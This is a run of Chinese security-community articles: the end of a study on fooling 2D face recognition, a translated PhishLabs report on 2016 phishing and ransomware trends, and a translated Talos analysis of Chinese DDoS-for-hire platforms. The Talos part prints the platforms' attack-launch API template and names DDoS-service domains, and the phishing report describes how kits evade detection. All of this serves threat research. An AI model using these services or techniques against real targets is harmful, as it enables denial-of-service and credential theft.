我们使用该方法对某银行APP人脸登录功能进行验证，经验证，此方法未能在该场景下生效，主要原因：银规级的人脸识别系统要求更好的人脸配合度，减少了对用户体验的妥协，有着更高的检测识别阈值，更严格的识别条件，对人脸遮挡有着严格的判定，当人脸遮挡到达一定比例时，人脸检测将会判定该人脸非真实人脸，拒绝进行下一步认证。当我们逐渐减少特征图片的面积时，最终能够通过检测系统，但是又会由于替换的特征区域过小，而导致无法按照预期识别成指定目标。
## 总结
通过上述实验得出一个结论：2D人脸识别系统普遍存在的一个漏洞，由于2D数据信息的局限性，可通过替换局部人脸特征，来改变人脸识别系统识别的结果。在保证活体检测能够正常通过的情况下，通过简单的替换人脸特征即可完成对人脸识别系统的攻破。测试中的问题暂时未在3D人脸识别的系统复现。
对于该问题的优化方案：
* 增加检测算法对人脸遮挡的检测，或者增加负类数据集，提升检测算法对该场景对抗训练，优化该场景的检测效果。
* 可通过优化活体检测算法，增加识别算法相关负类数据集来对抗该问题。
* 使用3D人脸识别增加输入信息维度，但是3D人脸识别的成本较高，算法训练的复杂度较大，数据收集的成本较高。
本篇文章主要对人脸识别相关漏洞进行了分析，人脸识别作为生物识别领域广受关注并且有大量应用的技术，本身有着很高的研究价值，人脸识别系统的安全性对用户本身的信息安全，数据安全甚至财产安全等等有着重要的影响。人脸识别漏洞技术的研究对人脸识别技术安全性，鲁棒性有着重要的意义。我们后续会持续关注研究人脸识别的漏洞以及安全性问题。
**References**
[1]<https://www.jiqizhixin.com/graph/technologies/3ff3ab31-7595-48d8-905a-baddfecc22be>
[2] <https://cmusatyalab.github.io/openface/>
[3] Kaipeng Zhang, Zhanpeng Zhang, Zhifeng Li, Senior Member, IEEE, and Yu
Qiao, Senior Member, IEEE：Joint Face Detection and Alignment using Multi task
Cascaded Convolutional Networks
[4] Daniel Sáez Trigueros, Li Meng, Margaret Hartnett. Face Recognition: From
Traditional to Deep Learning Methods
[5] Florian Schroff, Dmitry Kalenichenko, James Philbin. FaceNet: A Unified
Embedding for Face Recognition and Clustering
[6] Jucheng，DAI Xiangzi，HAN Shujie，MAO Lei，WANG Yuan. On Liveness Detection
through Face Recognition
[7] Naveed Akhtar,Ajmal Mian. Threat of Adversarial Attacks on Deep Learning
in Computer Vision: A Survey
[8] Jiankang Deng, Jia Guo, Niannan Xue, Stefanos Zafeiriou. ArcFace: Additive
Angular Margin Loss for Deep Face Recognition
[9] <https://zhuanlan.zhihu.com/p/44904820>
[10]<https://blog.csdn.net/molixuebeibi/article/details/91880162>
[11] <https://www.lddoc.cn/p-17334859.html>
[12] Haibo Qiu, Baosheng Yu, Dihong Gong, Zhifeng Li, Wei Liu, Dacheng Tao.
SynFace: Face Recognition with Synthetic Data
[13] <https://blog.csdn.net/u013841196/article/details/81176498YANG>
[14] <https://blog.csdn.net/c9Yv2cf9I06K2A9E/article/details/107902924>
[15] <https://zhuanlan.zhihu.com/p/43480539>
[16] A Dataset and Benchmark for Large-scale Multi-modal Face Anti-spoofing
[17]Stepan Komkov, Aleksandr Petiushko. AdvHat: Real-world adversarial attack
on ArcFace Face ID system
[18][https://baijiahao.baidu.com/s?id=1690021058663956115&wfr=spider&for=pc](https://baijiahao.baidu.com/s?id=1690021058663956115&wfr=spider&for=pc)
* * * | 社区文章 |
# 【技术分享】2017网络钓鱼趋势和情报报告---攻击人类（下）
|
##### 译文声明
本文是翻译文章，文章来源：phishlabs.com
原文地址：[www.phishlabs.com](www.phishlabs.com)
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**摘要**
2016年网络钓鱼威胁景观发生了巨大变化，这是由两个变革事件导致的。在2015年针对中国的网络钓鱼攻击数量几乎翻倍后，到了2016年，针对中国的钓鱼攻击下降了48%。在五个最有针对性的行业中，网络钓鱼数量平均增长超过33%。有23%的网络钓鱼攻击针对的是金融机构，22.6%的网络钓鱼攻击针对的是云存储服务行业。针对游戏行业的攻击量同比急剧减少了75%，针对社交网络网站的钓鱼攻击下降了17%。80%的钓鱼网站托管在10个国家，然而，在美国的占到了59%。2016年，超过51%的钓鱼网站使用了“.com”顶级域名。网站身份认证方法使用邮箱作为登录用户名的结果是：很多用户在不同的网站中使用了相同的邮箱和密码，因此由撞库攻击带来的破坏性在不断增大。现代勒索软件在感染它们的目标上很成功，这有很多原因，不过最重要的原因是它们使用的传播方法利用了一个最薄弱环节—人类。到目前为止，勒索软件最普遍的传播方式是网络钓鱼邮件。
**5.攻击发生在哪里？**
与往年一致，2016年，美国机构仍然是网络钓鱼攻击迄今为止最受欢迎的目标。在美国，钓鱼者的首选目标是实体，和其它国家相比，针对美国组织的网络钓鱼攻击份额在持续增长。在2014年，71%的网络钓鱼攻击针对美国的机构。到了2016年，份额已经增长到81%。并且在这三年期间，以美国为目标的网络钓鱼攻击总量增加了一倍。
针对加拿大的网络钓鱼攻击总量在2016年增长了237%。有趣的是，针对加拿大的攻击总量并没有在某一个月出现一个异常的攻击高峰，而是持续上升到2016年三月份，并在此后一直保持在高水平的位置。这次增长主要归因于针对加拿大金融机构的攻击在2016年增长了444%。一年的持续性增长趋势表明，加拿大金融机构已经成为钓鱼者更具吸引力的目标。如下图所示：
观察到针对少数国家机构的网络钓鱼活动显著下降。在2015年针对中国的网络钓鱼攻击数量几乎翻倍后，到了2016年，针对中国的钓鱼攻击下降了48%。针对英国实体的网络钓鱼攻击近年来迅速下降，2014年下降了38%，2016年下降了23%。
最近观察到的最有趣的变化之一是针对南非公司的大规模网络钓鱼攻击数量有所下降，在2014年，南非商业是钓鱼攻击的第六个最受欢迎的目标。过去两年，针对该国的网络钓鱼攻击数量减少了90%。在网络钓鱼总量中排在了全世界第22位。
**6.如何进行网络钓鱼攻击？**
本报告在这节中，将主要分析和洞察开展网络钓鱼攻击所利用的策略、技术、和过程。这些基本组件是我们在调查和减缓网络钓鱼攻击的过程中发现的。通过识别、分析、和关闭这些组件，我们让钓鱼者进行攻击、收集偷取信息、和获利更加困难。
**网络钓鱼服务器托管地址**
59%的网络钓鱼网站托管在美国。和2015年相比，托管在东欧的钓鱼网站数量急剧增长，托管在东亚的有所下降。
大多数钓鱼网络托管在被攻击的WEB托管服务器上。在2016年，80%的钓鱼网站的托管地只有10个国家，托管在美国的就有59%。紧随美国之后，最常见的托管钓鱼基础设施是德国(4%)、英国(4%)、荷兰(3%)、俄罗斯(3%)。如下图所示：
托管在东欧的钓鱼网站数量急剧增长。2016年很多在这个地区的国家托管的钓鱼服务器是2015年的两倍，包括拉脱维亚(+360%)、塞尔维亚(+152%)、波兰(+123%)、立陶宛(+116%)、保加利亚(+112%)、捷克共和国(+111%)、俄罗斯(+110%)。很多其它的国家也有显著上升，包括巴拿马（+657%）、意大利（+98%）、荷兰（+88%）、澳大利亚（+86%）、印度尼西亚（+83%）。
和东欧的增长情况相反，值得注意的是托管在很多东亚国家的钓鱼网站有所减少。这些国家和地区包括台湾（-43%）、香港（-38%）、韩国（-34%）、日本（-30%）。我们看到2016年托管在中国的钓鱼网站实际上有一个净增长，不过下半年托管在中国的钓鱼网站和上半年的相比减少了50%，整体来看处于净增长。其他托管钓鱼网站数量减少的国家包括智利（-50%）、印度（-33%）、土耳其（-24%）、南非（-23%）。
**钓鱼网站使用的顶级域名(TLDs)**
不出所料，2016年超过51%的钓鱼网站托管在注册的“.com”顶级域名上，这个比例和2015年的基本相同。
除了“.com”域名，钓鱼网站最常用的顶级域名还有.br,.net,.org,.ru,.uk,.au,.info,.in,和.pl。以这10个顶级域名相关的钓鱼网站占到了总量的四分之三。
因为绝大多数钓鱼网站都位于被钓鱼者攻破的(肉鸡)域名上，而不是恶意注册的域名。
在2016年，我们识别出钓鱼网站托管在432个不同的顶级域名上，与2015年观察到的280个顶级域名相比有显著增长。这种增长的主要原因似乎是钓鱼者开始将更多的钓鱼网站托管在最近创建的通用顶级域名上(gTLDs)。这些新的通用顶级域名是由ICANN在2011推出的一个最新的通用顶级域名扩展计划批准的。去年，在220个新gTLDs上发现了钓鱼网站的内容，和2015年托管在gTLDs上的钓鱼网站数量(66)相比，2016年的数量多了三倍。最常用的gTLDs是.TOP，.XYZ，.ONLINE，.CLUB，.WEBSITE，.LINK，.SPACE，.SITE，.WIN和.SUPPORT。
尽管使用新gTLDs域名的钓鱼网站仅有2%，但是托管在新gTLDs域名上的钓鱼网站总体上增长了1000%，证据表明，钓鱼者在构建他们的钓鱼计划时，新gTLDs域名已经开始成为更受欢迎的选择。
有几个原因导致了新gTLDs域名在钓鱼生态系统中获得了吸引力。一是注册一些新gTLDs域名很便宜，对那些想对他们钓鱼基础设施有更多控制权，不想将钓鱼网站架设在一个被攻破的WEB服务器上的钓鱼者，这种方法的成本较低。其次，钓鱼者可以利用一些新开发的gTLDs域名建立网站，并使用诱惑性的字符串，在潜在的受害者看来可能更合理。例如，在2016年，已经发现在下面的域名中托管了各种钓鱼内容：
一目了然，每一个出现的这个网站，对于一个不知情的受害者，都包含了看似合法的、有用的字符串。在过去，当钓鱼者注册一个域名用于将钓鱼内容托管在上面时，他们通常在域名的名称中包含了与目标相关联的内容，这给网站增加了一个合法性的光环。现在，使用新gTLDs域名，钓鱼者有了诱骗受害者的另一种选择。
在识别可能存在的针对公司或行业的钓鱼活动时，分析它的顶级域名是一个有用的工具，特别是当观察到一个很少和钓鱼网站有关的TLD域名，突然出现了钓鱼攻击了高峰时。从分析的角度看，需要注意的是，使用这种技术识别出的所有域名都是恶意注册的域名，而不是通过钓鱼主体攻破的域名。因此，当识别出一个攻击高峰时，收集的域名注册人信息是一个有价值的情报。
下面列出这些TLD高峰，包括：
1.2016年秋天，一个使用了“.link”域名的钓鱼网站攻击了美国技术公司，导致了一次TLD高峰。
2.2016年夏天，在一次活动中，使用了“.ga”域名的钓鱼网站针对主要支付服务公司的攻击急剧上升。
3.2016年6月，使用了“.hu”顶级域名的钓鱼网站，在对多个webmail提供商的攻击活动中制造了一次攻击高峰。
4.2016年4月，一个针对一家大型美国金融机构的攻击高峰和使用了“.ng”顶级域名的钓鱼网站有关。
5.2016年8月至9月，使用了“cloud”顶级域名的钓鱼网站，制造了对一个美国云服务提供商的大规模攻击活动，并且在此后和这个域名有关的攻击活动很少被观察到。
6.2016年7月至8月，使用了“gq”顶级域名的钓鱼网站和一个针对德国支付服务公司的攻击高峰是有关系的。
如下图所示：
**网络钓鱼工具包**
网络钓鱼工具包是文件的集合，通常包含在归档文件中，如一个ZIP文件，它包含了所有用于创建一个钓鱼网站所需的组件(HTML/PHP页面模板、脚本、图片等等)。在2016年，我们收集到了超过29000个独立的网络钓鱼工具包，它们包含了创建钓鱼网站的组件，并针对超过300个不同的公司。
因为从本质上讲，工具包是大多数骗子创建网络钓鱼网站的“配方”。通过广泛收集和分析网络钓鱼工具包，我们能更深入理解钓鱼者进行诈骗所用的技术。通过分析这些工具包，我们可以识别出任何可能会部署的反检测机制，因此，我们可以更好地制定对策，以防止这些反检测机制能成功绕过检测。通过手工分析和动态分析，我们可以将工具包关联到由它创建的个别钓鱼网站上，并且能更好的了解到钓鱼者使用了哪些主要工具包。我们可以识别出这些工具包的传播机制(社交媒体、文件托管网站、地下论坛、供应商网站等)，并通过关闭传播点，来阻断工具包的支持链。
钓鱼者为了防止他们的钓鱼网站被探测和关闭，有时会尝试使用不同的技术来限制对他们网站的访问。这其中的一种方法是钓鱼者利用某种类型的访问控制技术来尝试阻止不需要的访问者，根据特定的规则来阻止对网站的访问，如根据IP地址、用户代理字符串、主机名、或HTTP
referrer。通常，这些访问控制是以PHP脚本的HTACCESS文件或黑名单的形式存在的。虽然比较罕见，但我们还是观察到网络钓鱼工具包利用访问白名单，而不是根据确定的特点来阻止访问者，从而只允许复合特定标准的人访问该网站。这种白名单机制通常用于针对一个特定区域或国家的攻击，它可以根据IP地址位置来过滤访问者。
2016年，在我们分析的工具包中，42%使用了HTACCESS文件，17%使用了PHP黑名单来限制访问。为更全面的控制一个钓鱼网站的访问者，41%的工具包结合了HTACCESS文件和PHP黑名单机制。如下图所示：
另一种钓鱼者使用的试图逃避检测的技术是动态改变每个钓鱼网站访问者的URL，使基于浏览器的阻止(大概)不那么有效。网络钓鱼工具包有两种主要的技术用于尝试逃避基于浏览器的探测：目录生成和随机URL参数。
2016年，在我们分析的网络钓鱼工具包中，14%包含用于在钓鱼网页URL的末端产生随机参数的脚本。这种方法和目录生成类似，每次加载的钓鱼页面URL结果都不一样。虽然URL参数具有合法用途，他们在钓鱼网站使用的目的通常是良性的(虽然已经发现一些复杂的工具包，会为钓鱼网站加载特定参数)。使用该技术的目的与目录生成器相同，然而，它们之间最大的区别是不用在服务器上创建或复制新文件。
在网络钓鱼生态系统中有一个有趣的一面，有很多威胁主体从事攻击活动，但是只有一少部分钓鱼者有足够成熟的水平，并能从头开始写出钓鱼工具包。因为这个原因，工具包作者可以通过将工具包传播给水平低的用户，并以此来获利。工具包作者在钓鱼生态系统中赚钱的方法有两种：一种是出售工具包，一种是传播免费的带有后门的工具包。销售工具包的地方一般是地下论坛、卖主网站、或暗网市场。大多数工具包的价格在1美元到50美元之间，依据是目标和工具包的成熟度。然而，有些工具包捆绑了其他功能，如活动追踪控制面板，并可以出售数百美元。这是钓鱼工具包作者最简单和最直接的赚钱方式。但实际情况是工具包不是免费的，因此花钱买工具包的人可能很有限。
这就是为什么越来越多的钓鱼工具包作者选择将他们的工具免费传播给潜在的用户。这些工具包有时会在地下黑客论坛中循环，但是也有许多是通过社交媒体和免费文件托管网站公开传播的。
使用免费商业模式时，工具包作者通常会在他们的工具包中捆绑后门，该后门除了将钓鱼信息发送给工具包用户包，还可以将所有从攻击活动中得到的数据发送到工具包作者控制的设备上。这些后门通常会混淆在工具包中，通常情况下，水平低的工具包用户是无法察觉到的。因此，除了直接出售工具包来获利，还可以通过免费传播工具包，然后通过捆绑的后门秘密收集工具包用户的个人信息和金融信息，并通过出售这些信息来赚钱。
**四、勒索软件的爆发**
2015年末到2016年初的恶意软件趋势表示勒索软件正在到处流行。在2016年第一季度结束之前，分析家和行业内的人将这种趋势称作“勒索软件年”。一年快速过去，这个词变成了“老生常谈”，当然这也没错。毫无疑问，2016将会被人们铭记，因为在这一年里，勒索软件在恶意软件领域变成了最普遍的和最有利可图的威胁。
尽管勒索软件作为一个威胁在信息领域已经存在几十年，今年由勒索软件的恶意天性产生的震动，引起了外界对IT安全行业的关注。大量媒体每天都在报道有关企业已经变成了勒索软件的猎物，及由此产生的影响和为此付出的代价。消费者也没能幸免。由此产生的效应是，全世界的广大用户已经认识到“勒索软件”一词是指软件，只不过这个软件会限制对一个计算机的访问，并向受害人要求赎金，用于恢复访问权。当然，这个简单的意识并不等于有能力阻止勒索软件的感染，在恶意软件作者和恶意行为主体的努力下，勒索软件在继续增长。
**1.勒索软件为什么会如些流行？**
勒索软件在攻击者中流行是由多种原因造成的，包括盈利能力、简易性和可行性。获取利益是产生网络犯罪最大的原因。2016年初，勒索活动的成功，被媒体的不断报道放大了。导致了其它的网络罪犯远离了各种各样其它的冒险，并将手申向了勒索软件。勒索软件的简易性使得这种改变更加容易。
勒索软件允许攻击者使用一个配置攻击所有目标用户。它也允许立即将感染货币化–不需要出售凭据、不需要欺诈处理、不需要进一步的初会工程学。通过将加密数字货币引入主流经济的方法，使攻击者在匿名的情况下赚钱成为了可能。对于勒索软件攻击者，他们以前冒着暴露的危险，需要依赖信用卡或预付款卡，现在有一个可靠的并且匿名的方法来收取大量赎金。多个结合的因素导使了勒索软件日益流行。
**2.谁是参与者？**
在过去几年里，参与创建和传播勒索软件的人显著扩大。已经建立的勒索软件家族继续释放更强的进化、更精致的版本，如Cryptolocker和Cryptowall勒索软件。这些知名的勒索软件家族催生了希望充分利用前人成功的新变种、模仿者、相似者。可能最好的例子就是Locky，它是2016年最成功的一个勒索软件家族，该勒索软件和Dridex银行木马的作者是有关系的。
在这一年，我们观察到勒索软件即服务模型在不断扩张。类似于Cerber和Petya/Mischa的勒索软件允许技术水平一般的攻击者通过制作恶意软件参与到勒索软件趋势中，并提供分销、与会员分割利润。在某些情况下，大量类似于这些缺乏技术的参与者也加入了编写自己恶意软件的行列中，导致了劣质勒索软件的灾难，因为这些劣质勒索软件往往比预期更具破坏性。过去一年勒索软件的全面成功鼓励和刺激了威胁主体瞄准了广泛的消费者和商业目标。
**3.谁是被攻击的目标？**
过去一年，勒索软件最有趣的一个趋势是其成熟的目标计划，越是成功的勒索软件家族越是这样。以前，勒索软件的传播大多采用广播攻击方法，攻击者试图最可能多的捕获受害者。这种策略和2016年初很多勒索软件家族的传播策略是相同的。随着一年的过去，勒索软件的攻击目标发生了转变，慢慢的远离了个人消费者，因为这些人很少愿意支付赎金恢复文件。
相反，勒索软件活动慢慢的开始向有针对性的鱼叉式网络钓鱼活动进化，专注于小型企业、学校、政府机构、关键基础设施和医疗设施。有几个因素使这些组织成为首要目标。一他们有高价值的数据，数据可用性是这些组织最重要的日常工作，在很多情况下，他们愿意支付赎金用于立即恢复访问。二他们通常会为IT人员提供一些预算，并且没有足够的准备用于保护他们的IP资产，或响应一起事件。最后，这些组织经常受规章制度约束，从而使他们创建或存储备份的能力复杂化。在这种情况下，支付赎金可能是恢复加密数据唯一的方法。
**4.为什么勒索软件会成功？**
现代勒索软件在感染它们的目标上很成功，这有很多原因。也许最重要的原因是它们使用的传播方法利用了一个最薄弱环节—人类。到目前为止，勒索软件最普遍的传播方式是网络钓鱼邮件。粗心的用户会陷入社会工程策略、浏览恶意网址、下载恶意文件、并执行恶意程序。
其他感染载体包括利用工具包、恶意广告、偷渡式下载、和扫描网络脆弱的软件。这些方法仍然依赖人类未能保持软件更新或利用未知/不受信任的软件。
除了传播方法，勒索软件的成功还依赖于它使用了强大的加密算法和完善的密钥管理。高质量的现代勒索软件样本会利用成熟的加密算法，并会将解密密钥存储在只有攻击者才能访问到的安全位置，由此来降低安全专家对样本采用逆向工程的机会，或降低受害人没支付就解密的机会。
最后，成功的勒索软件是功能健全的，并且在收集赎金后能兑现解密文件的承诺。如果支付不能导致解密，当消息传播后，恶意行为参与者将会知道他们的感染将无法货币化。
就感染量而言，现代勒索软件是非常有效的，但是就财产转化率而言，它并不是很有效。仅仅一小部分受感染的用户会支付他们要求的赎金。对于许多人，数据丢失已成为生活的事实，以前经历过数据丢失，他们会跨过勒索软件的感染，并从头开始。其他人是因为对购买加密数字货币和跟进付款太陌生或不舒服。还有一些人是因为觉得有义务避免为犯罪集团提供资金。尽管财产转化率比较低，但是被感染用户的支付数量已经足以使勒索软件在未来的岁月里成为一个永远有吸引力的攻击向量。
**5.勒索软件的未来**
勒索软件流行了一年后，下一步是什么？一些已经开始发展的趋势有助于回答这个问题。尽管大部分勒索软件针对的是Windows用户，但是一些勒索软件作者已经开始创建针对其它平台的样本。这种趋势可能会继续，并伴随着更复杂的OSX、Linux、服务器操作系统、和手机平台恶意软件的产生。
此外，勒索软件参与者可能会攻击物联网设备，最近的非勒索攻击已经证明了在这个领域存在显著的脆弱性。攻击者除了扩大勒索软件针对的目标平台，可能还会寻求扩大勒索软件的功能。赎金消息早已包含在公开披露的威胁中，但是最近，勒索软件样本包含了数据渗漏功能，从而允许这种威胁采取更多行动。过去一年中观察到的样本正在吸纳计算机成为僵尸网络，并窃取比特币钱包、故意破坏数据、收获电子邮件地址和登录凭据。根据勒索软件目标的进化，勒索软件作者还将继续扩展其功能。如前所述，攻击者将某些商业和行业作为勒索软件攻击的主要目标，但随着时间的推移，目前勒索软件正在瞄准的目标组织将会增强他们的抵抗力。然而，这不会是勒索的末日。攻击者将会通过他们的成功策略，继续寻找那些具有高价值数据，但又同时存在弱信息安全态势的组织和行业，这将确保有针对性的勒索攻击继续扩散。
**五、结论**
2016年，网络钓鱼威胁景观以深刻的方式改变了航向，打破历史趋势，并描绘出了一个未来的道路，这条道路和我们以前所预期的有本质的不同。考虑到由这两个变革事件带来了严重的网络犯罪结果，这一年因此变得更加引人注目。
云服务、SaaS、和其它在线服务提供商已经广泛采用了用邮箱代替唯一用户名的友好做法。这种做法使网络钓鱼攻击更容易收集到邮箱/密码凭据对。威胁主体抓住这次机会，并在前所未有的范围内收获了大量凭据对。广泛采用这种身份认证的做法触发了一个涟漪效应，而这将改变整个网络犯罪生态系统，在未来的几年我们都会感受到。
尽管勒索软件已经存在了几十年，但是加密数字货币的出现，将它从新奇事件变成了全民公敌。当然，这是一个合理的预期，因为加密数字货币给犯罪份子提供了一个机会，它给网络犯罪份子提供了一个真正匿名且有合法货币价值的全球在线货币。然而，没有预料到的是，它导致了一个新的、更精简的网络犯罪商业模型，这个商业模型从以前的偷取有价值的数据，变成了直接从受害人那收集加密数字货币赎金。这种商业模型使勒索软件迅速站到了恶意软件景观的顶端，并将在以后的多年里继续塑造网络犯罪世界。
本报告中展现出的趋势和信息，能帮助安全领导人、从业人员和其它社区人员呈现出由这两个事件带来的影响，及2016年我们观察到的很多其它的变化。尽管这些趋势会继续变化，但是它对我们理解网络钓鱼攻击仍然会持续流行和有效很重要。网络钓鱼是攻击的主要方法，不论它的目的是偷取凭据还是传播勒索软件。为了在今天的威胁景观中存活，组织必须将防御网络钓鱼攻击放在首位。 | 社区文章 |
# 【安全报告】谍影重重：中国DDoS产业现状大揭秘
|
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/08/chinese-online-ddos-platforms.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[nstlBlueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
在过去的几个月中，Talos团队监测到提供在线DDoS服务的中国网站数量在不断的增加。这些网站中的许多网站几乎都有相同的布局和设计，基本上都提供了一些简单的用户界面，这个界面上有一些诸如目标主机、端口、攻击方法以及攻击持续时间等功能。而且，
**这些网站大多数都是在过去六个月内注册的**
，但是，这些网站以不同的组织名称运营，并且拥有不同的注册人。此外，Talos团队还检测到这些网站的管理员之间经常会相互发动攻击，Talos团队试图去研究创建这些平台的工作人员，并分析为什么这些提供DDOS服务的平台最近这么流行。
在这篇博文中，我们将首先看看中国DDoS行业的发展趋势，并阐述它们向在线DDoS平台转变的原因。然后，我们将检测最近创建的这些DDoS平台的类型，并分析它们的相似之处和差异。最后，我们将对这些几乎相同的DDoS平台网站的源代码进行分析。
**中国的DDoS行业现状**
****
在中国，DDoS工具和服务在黑客市场中仍然是最受欢迎的产品之一，DuTe（独特）就是其中之一，该黑客工具包含了各种不同的DDoS相关工具、各种网络攻击工具以及多种网络协议的爆破工具，例如用于不同网络协议（SSH和RDP）的爆破工具。另外，中国的社交应用（例如微信群、QQ群等）中有数百个关于DDoS工具相关的群，这些社交软件群专门用于分享DDoS工具或者恶意软件等，在这些群中的人有黑客群体，客户以及可以充当媒介的代理商乃至广告商等。
以前，这些群聊中的主要产品是用户可以购买和下载的工具，在这类工具中，具有代表性的就是“天罚集群压力测试系统”了，如下图所示。这些工具通常用于管理用户的僵尸网络，允许用户自定义攻击事件、选择攻击目标以及攻击方法。通常来说，用户需要首先购买该工具，下载副本，然后再使用自己的服务器或者僵尸网络对目标进行攻击，但有时，黑客团体也会捆绑一些服务器或一定数量的僵尸主机卖给购买者，例如其中包括用来帮助用户增长自己僵尸网络的黑客工具。但是，用户都将需要自己去负责维护和部署这些购买的黑客工具。
**在线DDoS平台的兴起**
****
最近，Talos团队已经注意到这些ddos小组聊天中正逐渐发生变化。在这些群聊中，在线DDoS平台的广告出现频率已经开始越来越高了。
经过对其中几个DDoS服务网站的分析之后，Talos团队注意到许多网站具有相同的登录和注册页面以及同样的背景图片：
此外，Talos团队还检测到，这些网站中有许多网站的设计和布局几乎相同，例如这些提供DDOS服务网站都会显示在线活动用户和服务器的数量以及已执行的攻击总数（尽管这些数字在不同组之间可能有所不同）。
此外，这些站点还包含了组管理员关于DDOS工具的最新更新、功能介绍以及使用限制的通知。在侧栏中，用户可以注册一个帐户，购买激活码，之后便可以开始发起网络攻击，攻击方法是通过网站上的图形界面或通过命令行调用的方式来攻击目标，使用方法如下所示：
http://website_name/api.php?username=&password=&host=&port=&time=&method=
除了设计和功能方面有相似之处以外，大多数网站在其域名中都包含有“ **ddos**
”这个字眼，例如“shashenddos.club”或“87ddos.cc”。由于这些网站都是最近注册的，除了依靠中国社交软件来发现这些ddos域名，Talos团队通过使用Cisco
Umbrella这款工具可以对新注册网站进行检测，检测方法是通过包含有“ddos”字串的正则表达式对最近注册的域名进行搜索。通过使用多种检测方法，
**Talos团队能够识别32个几乎完全相同的中文在线DDoS网站** （可能还有更多的网站，因为这些网站并不是所有的域名都有“ddos”）。
基于ddos服务网站页面的相似之处，以及一些个人为同一个群体注册了多个站点的事实，我们最初猜测这些提供ddos服务的多个网站都是由同一个人使用不同别名注册的，为了测试我们的理论，我们在每个站点注册了一个帐户，并且还使用Cisco
Umbrella的调查工具来检查每个站点的注册信息。
但是，我们很快否定了我们的猜测，因为在各个网站注册账号后我们发现，许多用户都是通过不同的第三方中文支付网站购买软件激活码的（典型的，一个软件激活码的价格范围从每天20元左右到每月400元左右不等）。此外，这些网站页面上的公告显示了不同的工具功能（一些ddos攻击强度为30-80gbps，而其他则有高达300gbps的）以及不同的联系人信息（包括各种不同的客服QQ帐户以及各种不同的社交软件群号）。另外，在用户量和攻击次数上，这些网站也存在很大的差异，例如
**www.dk.ps88.Org** 这个网站，它拥有44,538位用户，而 **www.pc4.Tw**
这个网站则只有13个用户，发起的攻击数据也只有24次。
此外，网站的注册信息也存在很大的差异，大多数网站的注册人姓名、电子邮件以及注册商都是不同的。但也有一些相似之处：
**几乎所有人都使用过中国注册商，其中大多数是在过去3个月内注册的，而且几乎全部都是在过去一年内登记的**
。另外，一半以上的服务器都托管在Cloudflare IP上。
我们最后确认，这些网站背后有不同的管理员。因为从Talos团队正在监视的一个QQ群聊天记录中我们注意到，这个小组中的一个成员呼吁群内的成员使用“无名哥”这款ddos平台对<http://87ddos.cc>这样一个提供在线ddos服务的网站进行攻击，而这个网站我们的研究人员之前注册过帐号。
Talos团队加入了一些与在线DDoS平台相关的群聊中，并观察到多个小组成员讨论对对手ddos平台发起DDoS攻击的聊天记录。
事实上，通过观察这些在线DDoS网站的一些流量可以发现他们的网站之前的确遭受了DDoS攻击。
**一探究竟**
****
基于我们的研究发现，多个小组正在创建几乎相同的在线DDoS平台，但仍然不知道为什么他们使用相同的布局，或者为什么这些网站最近才开始出现。
我们开始深入了解这些问题背后的故事，从一个中国黑客组织的团队聊天中，我们发现了这个组织使用的在线DDoS平台管理页面的截图：
从截图中可以看到一个设置页面，页面中管理员可以填写网站名称、网站说明、服务条款以及网站URL链接，这些发现为我们的研究提供了一些线索。首先，我们在左上角注意到“双子座”一词，第二，我们注意到URL中“
**/yolo/admin /settings**
”这个字串。最后，我们注意到屏幕底部有一个按钮，管理员可以选择“Cloudflare模式”，这提示我们有多少网站被托管在Cloudflare IP中。
**查找和分析源代码**
****
我们现在有一个猜测：这些看起来相同的ddos网站是使用某种共享的源代码搭建起来的，这些代码可能来自于中国地下黑客论坛或者某些黑客市场。我们去了几个论坛，并搜索屏幕截图中发现的“
**/yolo/admin/settings**
”这个URL串。我们发现，这几个论坛都有一个销售在线DDoS平台源代码的帖子，这套源代码是国外某DDoS平台的汉化版。
这些帖子大都发布于2017年初或2016年底，这与DDoS平台兴起的时间相对应，而且广告中的图片看起来与我们看到的网站相同：
Talos团队拿到这套ddos平台的源代码并进行了分析。
很明显，那些我们观察到的DDoS网站使用的就是这套源代码，例如文件夹中包含的PHP文件以及相同的网站图标，而且，这些网站中使用的背景图片大多数也能够在源码图片文件夹中找到：
通过分析源代码我们发现，这些平台使用Bootstrap进行前端设计以及使用ajax来加载网站内容。在CSS文件中，我们发现这个文件是一个名为
**Pixelcave**
的作者写的。通过搜索Pixelcave，我们发现他们提供了基于Bootstrap的网站设计，这些设计看起来跟我们检查过的在线中文DDoS网站一样。我们还注意到，Pixelcave的标志出现在我们发现的许多DDoS网站的右上角。
Pixelcave的标志，它出现在我们确定的所有DDoS网站上。
通过对源代码的分析我们发现，该平台具有从mysql数据库提取信息并根据用户的支付来评估用户身份（即攻击次数，攻击持续时间，以及允许用户的并发攻击次数）的功能。然后，它允许用户输入主机，选择攻击方法（即NTP，L7）和持续时间。如果ddos平台支持该功能，并且用户输入的目标未被列入黑名单，那么平台就会调用服务器开始执行ddos攻击。
有趣的是，源代码提供了站点黑名单功能，用以说明哪些站点默认是不允许被攻击的，其中包含以“ **.gov** ”和“ **.edu**
”结尾的站点，但是这个黑名单是可以修改的。此外，它附带了一个预先加载的服务条款（中文），以免除网站管理员对“非法”攻击行为的任何法律责任，并声称该平台服务仅用于测试目的。该代码还允许管理员监控用户已付款、未付款、登录和攻击总次数以及有关攻击的详细信息，如主机，攻击持续时间以及哪个服务器正在执行攻击。源代码原来是用英文写的，经过修改后可以在ddos平台上显示中文图片（例如广告）。源代码中支持PayPal和Bitcoin这两种第三方支付系统，但中国的管理员很可能会将其切换到中国的第三方支付系统，如第三方支付网站或支付宝等。我们调查发现，一个图片文件夹中的Paypal图标被更改为了支付宝的图标。
关于源代码的始末，本文并不是很清楚。但是，有几个提供在线DDoS服务的英文网站，例如DataBooter这个ddos工具站点。这些网站与中国DDoS平台有一些相似之处。例如，它们具有基于bootstrap的设计，托管在Cloudflare上，并使用相似的图像来表示攻击次数，用户数和服务器数量。
